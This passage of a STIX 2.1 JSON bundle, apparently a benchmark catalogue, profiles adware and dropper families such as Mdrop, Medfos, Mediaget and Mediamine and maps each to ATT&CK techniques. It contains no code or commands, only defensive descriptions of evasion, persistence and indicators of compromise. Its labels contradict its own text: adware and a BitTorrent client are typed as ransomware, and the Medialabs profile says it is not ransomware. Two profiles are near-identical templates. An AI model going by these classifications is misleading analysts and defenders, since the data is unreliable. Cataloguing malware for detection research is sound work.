      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mdeclass exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5cc19f01-b595-5b91-96e8-7f59aaa8b4ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a1839490-2bbe-556e-9018-121caef771c6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mdeclass exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a74e8048-bf38-5bcd-a3d3-7febde4a9393",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mdrop",
      "description": "TrojanDropper:Win32/Mdrop (or Generic Dropper) is a broad heuristic classification for malicious software whose sole purpose is to securely bypass local antivirus engines, extract a hidden, encrypted payload, and execute it directly on the host. It acts as the initial staging vehicle for severe threats like ransomware, banking trojans, or RATs.<br><br><b>Understanding Droppers</b><br>To an end-user, an Mdrop infection is completely silent; the user simply opens an attachment, and nothing appears to happen. For a malware analyst, droppers are incredibly common. Threat actors separate the delivery mechanism (the dropper) from the malicious payload. This allows them to frequently re-pack and obfuscate the dropper to evade AV signatures without having to modify the core functionality of their valuable secondary payload.<br><br><b>Execution and Evasion Strategies</b><br>Mdrop variants are typically delivered via spear-phishing (`T1566.001`) or drive-by downloads (`T1189`). When executed (`T1204.002`), the code is heavily obfuscated (`T1027`). The dropper will dynamically decrypt a secondary payload (often stored as an embedded resource or a base64 encoded string within the binary). To evade detection, it utilizes 'Process Hollowing' or 'Process Injection' (`T1055`): it launches a legitimate Windows process (like `explorer.exe` or `svchost.exe`), injects the decrypted malicious payload into its memory space, and resumes the thread. The antivirus only sees a legitimate Microsoft binary running.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the hidden payload, but typically involves credential theft or network compromise. Host-based IoCs include EDR alerts for 'Suspicious Process Hollowing' or unknown executables dropping files into `%Temp%` and spawning legitimate Windows utilities as child processes with anomalous memory allocations. Analysts must use dynamic debugging to extract the final payload. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mdrop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mdrop"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be8c9f0b-f744-5a27-80cc-9e1e0a889f3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a74e8048-bf38-5bcd-a3d3-7febde4a9393",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mdrop exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d37fdf2a-782d-52da-8347-cbe9ff0d999d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a74e8048-bf38-5bcd-a3d3-7febde4a9393",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mdrop exhibits technique T1027 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef81e1f4-95de-5acd-ad75-fd60698200a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a74e8048-bf38-5bcd-a3d3-7febde4a9393",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mdrop exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3eab116-42bc-5d54-96b4-d0a77f357cce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a74e8048-bf38-5bcd-a3d3-7febde4a9393",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mdrop exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ae4da7d6-310d-59b5-a197-33e214d99bc8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Medfos",
      "description": "Adware:Win32/Medfos is a highly intrusive adware family designed to hijack the user's web browsing experience. Its primary goal is monetization through forced ad impressions and affiliate link redirection. Medfos specifically targets the browser's core components, injecting advertisements directly into web pages and altering default search settings without user consent (`T1189`).<br><br><b>Understanding Medfos (Browser Hijacking)</b><br>To an end-user, Medfos makes the internet nearly unusable. Legitimate search results are replaced with sponsored links, random text on web pages is turned into hyperlinks, and large banner ads obscure actual content. For an IT department, Medfos is a security risk because the adware networks it uses are often compromised, serving as vectors for more severe malware like ransomware or credential stealers (malvertising).<br><br><b>Execution and Hijacking Mechanics</b><br>Medfos is typically distributed via pay-per-install (PPI) networks, bundled with freeware or deceptive 'update' prompts (e.g., fake Flash players). Upon execution, it installs itself as a Windows Service or Scheduled Task to ensure persistence (`T1543.003`). It then drops malicious extensions into Chrome, Edge, and Firefox. To prevent easy removal, Medfos often modifies the Windows Registry (specifically the `ExtensionInstallForcelist` policies for Chrome/Edge) (`T1562.001`), locking the extension so the user cannot uninstall it via the browser UI.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized monetization of user data and exposure to secondary malware. Host-based IoCs include the presence of unexpected browser extensions (often with random alphanumeric IDs), unauthorized modifications to browser policy registry keys (`HKLM\\Software\\Policies\\Google\\Chrome`), and unexpected executables running from `%LocalAppData%`. Network IoCs involve constant, high-volume background HTTP/HTTPS requests to known advertising networks and tracking domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Medfos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/medfos"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c7475e4-4b8e-5767-96c8-6a9fd11d98b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae4da7d6-310d-59b5-a197-33e214d99bc8",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Medfos exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be64f849-dba6-5598-ae27-2ac47c468147",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae4da7d6-310d-59b5-a197-33e214d99bc8",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Medfos exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2a8a346-f54a-5b52-8768-1d858fc60554",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae4da7d6-310d-59b5-a197-33e214d99bc8",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Medfos exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bc3b98d8-5fd7-5831-a8da-af63f15f5cf2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mediafinder",
      "description": "Adware:Win32/Mediafinder is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Mediafinder</b><br>To an end-user, Mediafinder manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Mediafinder is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mediafinder",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mediafinder"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e58624fc-a324-51ba-97f5-fdfa4fc8f645",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc3b98d8-5fd7-5831-a8da-af63f15f5cf2",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediafinder exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9cd15f7-6a5e-57c3-902b-39b8bb9ad734",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc3b98d8-5fd7-5831-a8da-af63f15f5cf2",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediafinder exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a88ded7c-56ad-5f83-b8a2-abc286fc35db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc3b98d8-5fd7-5831-a8da-af63f15f5cf2",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediafinder exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c4741df-a0e8-50cd-ae1c-06a6db9451f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bc3b98d8-5fd7-5831-a8da-af63f15f5cf2",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediafinder exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ac719642-2498-52f0-b274-d7acaa1df313",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mediaget",
      "description": "PUA:Win32/MediaGet is a highly prevalent BitTorrent client that is aggressively classified as a Potentially Unwanted Program (PUA) or Adware by almost all major endpoint security vendors. While it functions as a working peer-to-peer (P2P) file-sharing application, its primary monetization strategy relies on deceptive installation practices, aggressive bundling of third-party adware, and deep integration into the operating system that makes uninstallation difficult.<br><br><b>Understanding MediaGet</b><br>To an end-user, MediaGet is often downloaded intentionally to pirate movies or software, but they are subsequently bombarded with pop-up ads and find their browser homepage hijacked. For a security analyst, MediaGet represents a significant risk to the corporate network. Not only does it violate acceptable use policies by facilitating piracy, but the P2P network architecture frequently exposes the internal network to severe secondary malware infections (like ransomware hidden in downloaded torrents).<br><br><b>Execution and Bundling Mechanics</b><br>MediaGet is distributed primarily via deceptive malvertising (fake 'Download Here' buttons on streaming sites) or bundled within other freeware installers (`T1189`). During installation, it utilizes 'Dark Patterns' to bypass user consent (`T1204.002`), silently installing browser extensions (`T1176`), search hijackers, and sometimes even silent cryptominers. It establishes persistence by creating multiple Registry Run keys and Scheduled Tasks to ensure the client launches at boot (`T1547.001`). Crucially, MediaGet frequently modifies the Windows Firewall (`T1562.004`) to allow unrestricted inbound and outbound P2P traffic, punching holes in the endpoint's perimeter defenses.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the severe risk of secondary malware infections via pirated files, bandwidth consumption, and potential legal liability for copyright infringement. Incident responders will observe a massive spike in outbound UDP/TCP traffic on non-standard ports (characteristic of BitTorrent protocol) originating from the endpoint. Host-based IoCs include the installation of `mediaget.exe` (often in `%AppData%` rather than `Program Files` to bypass UAC) and unauthorized modifications to the Windows Firewall rules. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mediaget",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mediaget"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae59902c-7067-5b7d-a140-7661fa1f1b71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac719642-2498-52f0-b274-d7acaa1df313",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediaget exhibits technique T1189 (Drive-by Compromise (Bundled Installers and Malvertising))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03cfd700-26a5-549e-9235-cd0bde5552d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac719642-2498-52f0-b274-d7acaa1df313",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediaget exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Opening P2P ports))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--023e9659-26a1-5db0-a269-78dd3620fe17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac719642-2498-52f0-b274-d7acaa1df313",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediaget exhibits technique T1176 (Browser Extensions (Adware bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a9845bb-56a4-53f3-aa1f-9f1ee91fa22c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac719642-2498-52f0-b274-d7acaa1df313",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediaget exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f80b0855-cd0b-51bd-99d6-dd8bc7d485cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Medialabs",
      "description": "<h3>Executive Summary</h3>\nMedialabs is a classification for a broad category of Adware and Potentially Unwanted Programs (PUPs). Its primary objective is unauthorized monetization through the aggressive tracking of user web behavior and the injection of intrusive, highly targeted advertisements (such as pop-ups, pop-unders, and embedded banners) into the victim's web browser, severely degrading system performance and privacy.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMedialabs adware is almost exclusively distributed via software bundling (pay-per-install networks). Users typically install this threat inadvertently when downloading \"free\" utilities (like media players or PDF converters) from third-party download portals, failing to uncheck pre-selected boxes during the installation wizard.\n\nUpon execution, the software focuses on data collection and ad injection:\n<ul>\n<li><strong>Browser Integration:</strong> The adware installs persistent Browser Helper Objects (BHOs) or malicious extensions into major web browsers (Chrome, Firefox, Edge). It may also alter the browser's default homepage and search engine to route traffic through affiliate marketing portals.</li>\n<li><strong>Ad Injection and Overlay:</strong> Medialabs significantly degrades the user experience by injecting its own advertisements into legitimate websites. It often overlays legitimate ads with its own, spawns new browser windows, or highlights random text on a page to create hyperlinked ads leading to dubious products or services.</li>\n<li><strong>Data Tracking:</strong> To serve targeted ads, the adware tracks the user's browsing history, search queries, and geographical location, transmitting this telemetry to third-party marketing servers without clear consent.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Medialabs is not typically designed to destroy data like ransomware or steal banking credentials like an Info-stealer, it poses a severe privacy risk and significantly degrades system performance (causing browser crashes and high CPU usage). Furthermore, the aggressive ad networks utilized by these programs frequently serve \"malvertising,\" exposing the user to severe secondary infections.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Application Removal:</strong> The first step is to identify and uninstall the core adware application via the Windows Control Panel, looking for recently installed, suspicious \"free\" utilities or toolbars often bearing names related to \"Media,\" \"Search,\" or \"Deals.\"</li>\n<li><strong>Browser Reset:</strong> Because Medialabs deeply alters browser configurations, the most effective remediation is a complete reset of all installed web browsers to their factory default settings, which automatically clears malicious extensions, BHOs, and tracking cookies.</li>\n<li><strong>Anti-Malware Sweep:</strong> Run a comprehensive scan using a reputable anti-malware solution specifically tuned to detect and remove Potentially Unwanted Programs (PUPs) and lingering registry keys left behind by the adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Medialabs",
        "PUP.Medialabs",
        "Win32/Adware.Medialabs"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Medialabs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/medialabs"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c921ddb-314e-5f21-a65b-4559dd5d518c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f80b0855-cd0b-51bd-99d6-dd8bc7d485cd",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Medialabs exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5e9112d-e4e0-592e-a99e-c64a7a29d164",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f80b0855-cd0b-51bd-99d6-dd8bc7d485cd",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Medialabs exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a35ec21-bf57-52ba-bd35-9f61ba7ccc78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f80b0855-cd0b-51bd-99d6-dd8bc7d485cd",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Medialabs exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7bd9dfee-cca2-5222-a4f9-83328c6350ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mediamagnet",
      "description": "Adware:Win32/Mediamagnet is an aggressive Potentially Unwanted Program (PUA) and adware family often bundled with free software. Its primary function is to silently install rogue browser extensions and intercept web traffic to inject intrusive advertisements and monitor user browsing habits, thereby generating illicit affiliate revenue and harvesting marketing data for the developers.<br><br><b>Understanding Mediamagnet Adware</b><br>To an end-user, a Mediamagnet infection is highly frustrating. Their familiar Google or Bing search engine is suddenly replaced by an unknown portal, their browser becomes sluggish, and they are bombarded with irrelevant, often deceptive banner ads perfectly targeted to their recent searches. For security analysts, it represents a classic Pay-Per-Install (PPI) monetization scheme combined with aggressive telemetry collection, utilizing persistence mechanisms to prevent easy removal.<br><br><b>Execution and Hijacking Mechanics</b><br>Mediamagnet is heavily distributed via deceptive software bundlers (`T1189`) found on third-party freeware sites. Upon execution, the installer uses 'Dark Patterns' to bypass user consent (`T1204.002`). It establishes persistence via Registry Run keys. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`). Crucially, its 'spy' component aggressively logs search queries, visited URLs, and sometimes even form data, sending this telemetry back to the adware operators to serve highly targeted injected advertisements.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic routing through known adware tracking networks, often containing base64-encoded strings of the user's browsing history in the URL parameters. EDR logs will flag the installation of the Mediamagnet extensions and the unauthorized modification of browser registry keys. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mediamagnet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mediamagnet"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28adb8a2-0bee-56ee-a735-c3e7eaa0aaf9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7bd9dfee-cca2-5222-a4f9-83328c6350ea",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediamagnet exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--330c80a5-d986-5d4c-9a7b-d761710c9775",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7bd9dfee-cca2-5222-a4f9-83328c6350ea",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediamagnet exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1debcdb4-1196-5c2e-ab1d-bb13947de44d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7bd9dfee-cca2-5222-a4f9-83328c6350ea",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediamagnet exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ff62a05-a50d-5b31-9d83-516b5b3342b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7bd9dfee-cca2-5222-a4f9-83328c6350ea",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediamagnet exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--83a84b15-ef76-50ca-862c-cb458b6784c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mediamine",
      "description": "Adware:Win32/Mediamine is a highly intrusive adware family designed to hijack the user's web browsing experience. Its primary goal is monetization through forced ad impressions and affiliate link redirection. Mediamine specifically targets the browser's core components, injecting advertisements directly into web pages and altering default search settings without user consent (`T1189`).<br><br><b>Understanding Mediamine (Browser Hijacking)</b><br>To an end-user, Mediamine makes the internet nearly unusable. Legitimate search results are replaced with sponsored links, random text on web pages is turned into hyperlinks, and large banner ads obscure actual content. For an IT department, Mediamine is a security risk because the adware networks it uses are often compromised, serving as vectors for more severe malware like ransomware or credential stealers (malvertising).<br><br><b>Execution and Hijacking Mechanics</b><br>Mediamine is typically distributed via pay-per-install (PPI) networks, bundled with freeware or deceptive 'update' prompts. Upon execution, it installs itself as a Windows Service or Scheduled Task to ensure persistence (`T1543.003`). It then drops malicious extensions into Chrome, Edge, and Firefox. To prevent easy removal, Mediamine often modifies the Windows Registry (specifically the `ExtensionInstallForcelist` policies for Chrome/Edge) (`T1562.001`), locking the extension so the user cannot uninstall it via the browser UI.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized monetization of user data and exposure to secondary malware. Host-based IoCs include the presence of unexpected browser extensions (often with random alphanumeric IDs), unauthorized modifications to browser policy registry keys (`HKLM\\Software\\Policies\\Google\\Chrome`), and unexpected executables running from `%LocalAppData%`. Network IoCs involve constant, high-volume background HTTP/HTTPS requests to known advertising networks and tracking domains. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mediamine",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mediamine"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48226f67-d8a4-5b69-8e09-43e0fe3aef3a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
